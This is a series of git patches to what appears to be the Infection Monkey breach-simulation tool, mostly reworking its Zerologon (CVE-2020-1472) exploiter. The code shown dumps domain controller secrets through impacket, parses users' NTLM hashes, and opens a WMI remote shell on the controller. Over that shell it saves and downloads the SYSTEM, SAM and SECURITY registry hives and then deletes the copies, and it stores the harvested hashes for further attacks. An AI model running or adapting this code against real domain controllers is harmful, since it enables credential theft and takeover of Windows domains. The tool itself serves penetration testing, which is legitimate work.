--- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.telemetry.trace_telem import TraceTelem @@ -14,5 +16,7 @@ def trace_telem_test_instance(): def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): trace_telem_test_instance.send() expected_data = {"msg": MSG} + expected_data = json.dumps(expected_data, cls=trace_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "trace" diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py index 81a32bb44..eab763790 100644 --- a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.telemetry.tunnel_telem import TunnelTelem @@ -11,5 +13,7 @@ def tunnel_telem_test_instance(): def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): tunnel_telem_test_instance.send() expected_data = {"proxy": None} + expected_data = json.dumps(expected_data, cls=tunnel_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "tunnel" From c20e67794076eb1e416bb77844f6ce5e51b6d041 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 15 Feb 2021 12:24:10 +0530 Subject: [PATCH 302/466] Add impacket copyright notice --- .../exploit/zerologon_utils/dump_secrets.py | 45 +++++++++++++++++++ .../exploit/zerologon_utils/remote_shell.py | 45 +++++++++++++++++++ .../exploit/zerologon_utils/wmiexec.py | 45 +++++++++++++++++++ 3 files changed, 135 insertions(+) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index eeae24e97..bc5a83187 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -1,3 +1,48 @@ +# Copyright (c) 2000 SecureAuth Corporation. All rights +# reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: + +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. + +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. + +# 3. The end-user documentation included with the redistribution, +# if any, must include the following acknowledgment: +# "This product includes software developed by +# SecureAuth Corporation (https://www.secureauth.com/)." +# Alternately, this acknowledgment may appear in the software itself, +# if and wherever such third-party acknowledgments normally appear. + +# 4. The names "Impacket", "SecureAuth Corporation" must +# not be used to endorse or promote products derived from this +# software without prior written permission. For written +# permission, please contact oss@secureauth.com. + +# 5. Products derived from this software may not be called "Impacket", +# nor may "Impacket" appear in their name, without prior written +# permission of SecureAuth Corporation. + +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. + + import logging import os import traceback diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 3f3281e9c..dc0088d07 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -1,3 +1,48 @@ +# Copyright (c) 2000 SecureAuth Corporation. All rights +# reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: + +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. + +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. + +# 3. The end-user documentation included with the redistribution, +# if any, must include the following acknowledgment: +# "This product includes software developed by +# SecureAuth Corporation (https://www.secureauth.com/)." +# Alternately, this acknowledgment may appear in the software itself, +# if and wherever such third-party acknowledgments normally appear. + +# 4. The names "Impacket", "SecureAuth Corporation" must +# not be used to endorse or promote products derived from this +# software without prior written permission. For written +# permission, please contact oss@secureauth.com. + +# 5. Products derived from this software may not be called "Impacket", +# nor may "Impacket" appear in their name, without prior written +# permission of SecureAuth Corporation. + +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. + + import cmd import logging import ntpath diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 70aa6cd22..4c9fbef38 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -1,3 +1,48 @@ +# Copyright (c) 2000 SecureAuth Corporation. All rights +# reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: + +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. + +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. + +# 3. The end-user documentation included with the redistribution, +# if any, must include the following acknowledgment: +# "This product includes software developed by +# SecureAuth Corporation (https://www.secureauth.com/)." +# Alternately, this acknowledgment may appear in the software itself, +# if and wherever such third-party acknowledgments normally appear. + +# 4. The names "Impacket", "SecureAuth Corporation" must +# not be used to endorse or promote products derived from this +# software without prior written permission. For written +# permission, please contact oss@secureauth.com. + +# 5. Products derived from this software may not be called "Impacket", +# nor may "Impacket" appear in their name, without prior written +# permission of SecureAuth Corporation. + +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. + + import logging import time From e0ae8381bac9f9eeb3ebb03e5e2e156e09618277 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 15 Feb 2021 19:37:45 +0530 Subject: [PATCH 303/466] restoring pwd: uses next available user account in case Administrator isn't found and save all other credentials --- monkey/infection_monkey/exploit/zerologon.py | 97 ++++++++++++-------- 1 file changed, 61 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2eace5724..beb46fbc8 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -5,8 +5,9 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g import logging import os +import re from binascii import unhexlify -from typing import List, Optional +from typing import Dict, List, Optional import impacket from impacket.dcerpc.v5 import nrpc @@ -64,9 +65,7 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - is_pwd_restored, restored_pwd_hashes = self.restore_password() - if is_pwd_restored: - self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes) + if self.restore_password(): LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -138,22 +137,22 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") return _exploited - def restore_password(self) -> (Optional[bool], List[str]): + def restore_password(self) -> bool: LOG.info("Restoring original password...") try: - admin_pwd_hashes = None rpc_con = None - # DCSync to get Administrator password's hashes. - LOG.debug("DCSync; getting Administrator password's hashes.") - admin_pwd_hashes = self.get_admin_pwd_hashes() - if not admin_pwd_hashes: - raise Exception("Couldn't extract Administrator password's hashes.") + # DCSync to get some username and its password's hashes. + LOG.debug("DCSync; getting some username and its password's hashes.") + user_details = self.get_user_details() + if not user_details: + raise Exception("Couldn't extract username and/or its password's hashes.") - # Use Administrator password's NT hash to get original DC password's hashes. + # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes)) + username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -162,7 +161,7 @@ class ZerologonExploiter(HostExploiter): rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return False, admin_pwd_hashes + return False # Start restoration attempts. LOG.debug("Attempting password restoration.") @@ -170,17 +169,17 @@ class ZerologonExploiter(HostExploiter): if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") - return _restored, admin_pwd_hashes + return _restored except Exception as e: LOG.error(e) - return None, admin_pwd_hashes + return False finally: if rpc_con: rpc_con.disconnect() - def get_admin_pwd_hashes(self) -> List[str]: + def get_user_details(self) -> (str, Dict): try: options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" @@ -192,13 +191,21 @@ class ZerologonExploiter(HostExploiter): username=f"{self.dc_name}$", options=options) - user = 'Administrator' - hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) - return hashes # format - [lmhash, nthash] + extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + + admin = 'Administrator' + if admin in extracted_creds: + return admin, extracted_creds[admin] + else: + for user in extracted_creds.keys(): + if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts + return user, extracted_creds[user] except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") + return None + def get_dumped_secrets(self, remote_name: str = '', username: str = '', @@ -209,17 +216,35 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = dumper.dump().split('\n') return dumped_secrets - @staticmethod - def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]: - for secret in secrets: - if user in secret: - # format of secret - "domain\uid:rid:lmhash:nthash:::" - hashes = secret.split(':')[2:4] - return hashes # format - [lmhash, nthash] + def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict: + extracted_creds = {} - def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None: - self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) - self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) + # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" + re_phrase =\ + r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' + + for line in dumped_secrets: + secret = re.fullmatch(pattern=re_phrase, string=line) + if secret: + parts_of_secret = secret[0].split(':') + user = parts_of_secret[0].split('\\')[-1] # we don't want the domain + user_RID, lmhash, nthash = parts_of_secret[1:4] + + extracted_creds[user] = {'RID': int(user_RID), # relative identifier + 'lm_hash': lmhash, + 'nt_hash': nthash} + + self.store_extracted_creds_for_exploitation(extracted_creds) + return extracted_creds + + def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None: + for user in extracted_creds.keys(): + self.add_extracted_creds_to_exploit_info(user, + extracted_creds[user]['lm_hash'], + extracted_creds[user]['nt_hash']) + self.add_extracted_creds_to_monkey_config(user, + extracted_creds[user]['lm_hash'], + extracted_creds[user]['nt_hash']) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info['credentials'].update({ @@ -242,8 +267,8 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str: - if not self.save_HKLM_keys_locally(admin_pwd_hashes): + def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str: + if not self.save_HKLM_keys_locally(username, user_pwd_hashes): return try: @@ -268,12 +293,12 @@ class ZerologonExploiter(HostExploiter): finally: self.remove_locally_saved_HKLM_keys() - def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: - LOG.debug("Starting remote shell on victim.") + def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool: + LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ") wmiexec = Wmiexec(ip=self.dc_ip, - username='Administrator', - hashes=admin_pwd_hashes, + username=username, + hashes=user_pwd_hashes, domain=self.dc_ip) remote_shell = wmiexec.get_remote_shell() From 6c9ce028e06031c4e83b6412ea0d3e16b7fed248 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 17 Feb 2021 18:55:14 +0530 Subject: [PATCH 304/466] Use __enter__() and __exit__() for StdoutCapture --- monkey/infection_monkey/exploit/zerologon.py | 41 ++-- .../exploit/zerologon_utils/dump_secrets.py | 222 +++++++++--------- .../infection_monkey/utils/capture_output.py | 14 +- 3 files changed, 135 insertions(+), 142 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index beb46fbc8..7dd4429be 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -303,33 +303,32 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - output_captor = StdoutCapture() - output_captor.capture_stdout_output() - try: - # Save HKLM keys on victim. - remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + - 'reg save HKLM\\SAM sam.save && ' + - 'reg save HKLM\\SECURITY security.save') + with StdoutCapture() as output_captor: + try: + # Save HKLM keys on victim. + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + + 'reg save HKLM\\SAM sam.save && ' + + 'reg save HKLM\\SECURITY security.save') - # Get HKLM keys locally (can't run these together because it needs to call do_get()). - remote_shell.onecmd('get system.save') - remote_shell.onecmd('get sam.save') - remote_shell.onecmd('get security.save') + # Get HKLM keys locally (can't run these together because it needs to call do_get()). + remote_shell.onecmd('get system.save') + remote_shell.onecmd('get sam.save') + remote_shell.onecmd('get security.save') - # Delete saved keys on victim. - remote_shell.onecmd( - 'del /f system.save sam.save security.save') + # Delete saved keys on victim. + remote_shell.onecmd( + 'del /f system.save sam.save security.save') - wmiexec.close() + wmiexec.close() - return True + return True - except Exception as e: - LOG.info(f"Exception occured: {str(e)}") + except Exception as e: + LOG.info(f"Exception occured: {str(e)}") - finally: - info = output_captor.get_captured_stdout_output() - LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + finally: + info = output_captor.get_captured_stdout_output() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index bc5a83187..491418687 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -98,131 +98,129 @@ class DumpSecrets: self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - output_captor = StdoutCapture() - output_captor.capture_stdout_output() + with StdoutCapture() as output_captor: + dumped_secrets = '' - dumped_secrets = '' + try: + if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage. + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + bootkey = binascii.unhexlify(self.__bootkey) - try: - if self.__remote_name.upper() == 'LOCAL' and self.__username == '': - self.__is_remote = False - self.__use_VSS_method = True - if self.__system_hive: - local_operations = LocalOperations(self.__system_hive) - bootkey = local_operations.getBootKey() - if self.__ntds_file is not None: - # Let's grab target's configuration about LM Hashes storage. - self.__no_lmhash = local_operations.checkNoLMHashPolicy() else: - import binascii - bootkey = binascii.unhexlify(self.__bootkey) - - else: - self.__is_remote = True - bootkey = None - try: + self.__is_remote = True + bootkey = None try: - self.connect() + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + LOG.debug( + 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + else: + raise + + self.__remote_ops = RemoteOperations( + self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__remote_ops.setExecMethod(self.__options.exec_method) + if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes. + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they - # will work - LOG.debug( - 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + self.__can_process_SAM_LSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__do_kerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') else: - raise + LOG.error('RemoteOperations failed: %s' % str(e)) - self.__remote_ops = RemoteOperations( - self.__smb_connection, self.__do_kerberos, self.__kdc_host) - self.__remote_ops.setExecMethod(self.__options.exec_method) - if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: - self.__remote_ops.enableRegistry() - bootkey = self.__remote_ops.getBootKey() - # Let's check whether target system stores LM Hashes. - self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() - except Exception as e: - self.__can_process_SAM_LSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__do_kerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off. - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. - LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') + # If RemoteOperations succeeded, then we can extract SAM and LSA. + if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes( + SAM_file_name, bootkey, isRemote=self.__is_remote) + self.__SAM_hashes.dump() + except Exception as e: + LOG.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, + isRemote=self.__is_remote) + self.__LSA_secrets.dumpCachedHashes() + self.__LSA_secrets.dumpSecrets() + except Exception as e: + LOG.debug(traceback.print_exc()) + LOG.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() else: - LOG.error('RemoteOperations failed: %s' % str(e)) + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file - # If RemoteOperations succeeded, then we can extract SAM and LSA. - if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + ) try: - if self.__is_remote is True: - SAM_file_name = self.__remote_ops.saveSAM() - else: - SAM_file_name = self.__sam_hive - - self.__SAM_hashes = SAMHashes( - SAM_file_name, bootkey, isRemote=self.__is_remote) - self.__SAM_hashes.dump() - except Exception as e: - LOG.error('SAM hashes extraction failed: %s' % str(e)) - - try: - if self.__is_remote is True: - SECURITY_file_name = self.__remote_ops.saveSECURITY() - else: - SECURITY_file_name = self.__security_hive - - self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, - isRemote=self.__is_remote) - self.__LSA_secrets.dumpCachedHashes() - self.__LSA_secrets.dumpSecrets() + self.__NTDS_hashes.dump() except Exception as e: LOG.debug(traceback.print_exc()) - LOG.error('LSA hashes extraction failed: %s' % str(e)) - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. - if self.__is_remote is True: - if self.__use_VSS_method and self.__remote_ops is not None: - NTDS_file_name = self.__remote_ops.saveNTDS() - else: - NTDS_file_name = None - else: - NTDS_file_name = self.__ntds_file - - self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, - noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, - ) - try: - self.__NTDS_hashes.dump() - except Exception as e: - LOG.debug(traceback.print_exc()) - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - LOG.error(e) - if self.__use_VSS_method is False: - LOG.error( - 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() - except (Exception, KeyboardInterrupt) as e: - LOG.debug(traceback.print_exc()) - LOG.error(e) - if self.__NTDS_hashes is not None: - if isinstance(e, KeyboardInterrupt): - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - try: + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + LOG.error(e) + if self.__use_VSS_method is False: + LOG.error( + 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() - except Exception: - pass - finally: - dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys - return dumped_secrets + except (Exception, KeyboardInterrupt) as e: + LOG.debug(traceback.print_exc()) + LOG.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except Exception: + pass + finally: + dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys + return dumped_secrets def cleanup(self): LOG.debug('Cleaning up...') diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py index 024c4c977..898bd6a7e 100644 --- a/monkey/infection_monkey/utils/capture_output.py +++ b/monkey/infection_monkey/utils/capture_output.py @@ -3,20 +3,16 @@ import sys class StdoutCapture: - def __init__(self): - _orig_stdout = None - _new_stdout = None - - def capture_stdout_output(self) -> None: + def __enter__(self) -> None: self._orig_stdout = sys.stdout self._new_stdout = io.StringIO() sys.stdout = self._new_stdout + return self def get_captured_stdout_output(self) -> str: - self._reset_stdout_to_original() self._new_stdout.seek(0) - info = self._new_stdout.read() - return info + output = self._new_stdout.read() + return output - def _reset_stdout_to_original(self) -> None: + def __exit__(self, _, __, ___) -> None: sys.stdout = self._orig_stdout From 869d608e09bbdf1d566b7c9f0a2bf7398369a04f Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 19 Feb 2021 21:04:50 +0530 Subject: [PATCH 305/466] Modify how `store_extracted_creds_for_exploitation()` is called + other little CR changes --- monkey/infection_monkey/exploit/zerologon.py | 46 ++++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 7dd4429be..6d4005c58 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -38,6 +38,7 @@ class ZerologonExploiter(HostExploiter): self.vulnerable_port = None self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} + self._extracted_creds = {} def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) @@ -66,6 +67,7 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: if self.restore_password(): + self.store_extracted_creds_for_exploitation() LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -90,7 +92,7 @@ class ZerologonExploiter(HostExploiter): is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) if is_exploited: - return is_exploited + return True return False @@ -125,7 +127,7 @@ class ZerologonExploiter(HostExploiter): request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['Authenticator'] = authenticator - def assess_exploit_attempt_result(self, exploit_attempt_result): + def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: if exploit_attempt_result: if exploit_attempt_result['ErrorCode'] == 0: self.report_login_attempt(result=True, user=self.dc_name) @@ -137,6 +139,8 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") return _exploited + return False + def restore_password(self) -> bool: LOG.info("Restoring original password...") @@ -151,7 +155,8 @@ class ZerologonExploiter(HostExploiter): # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + username = user_details[0] + user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -191,15 +196,15 @@ class ZerologonExploiter(HostExploiter): username=f"{self.dc_name}$", options=options) - extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) admin = 'Administrator' - if admin in extracted_creds: - return admin, extracted_creds[admin] + if admin in self._extracted_creds: + return admin, self._extracted_creds[admin] else: - for user in extracted_creds.keys(): - if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts - return user, extracted_creds[user] + for user in self._extracted_creds.keys(): + if self._extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts + return user, self._extracted_creds[user] except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") @@ -217,8 +222,6 @@ class ZerologonExploiter(HostExploiter): return dumped_secrets def _extract_user_creds_from_secrets(self, dumped_secrets: 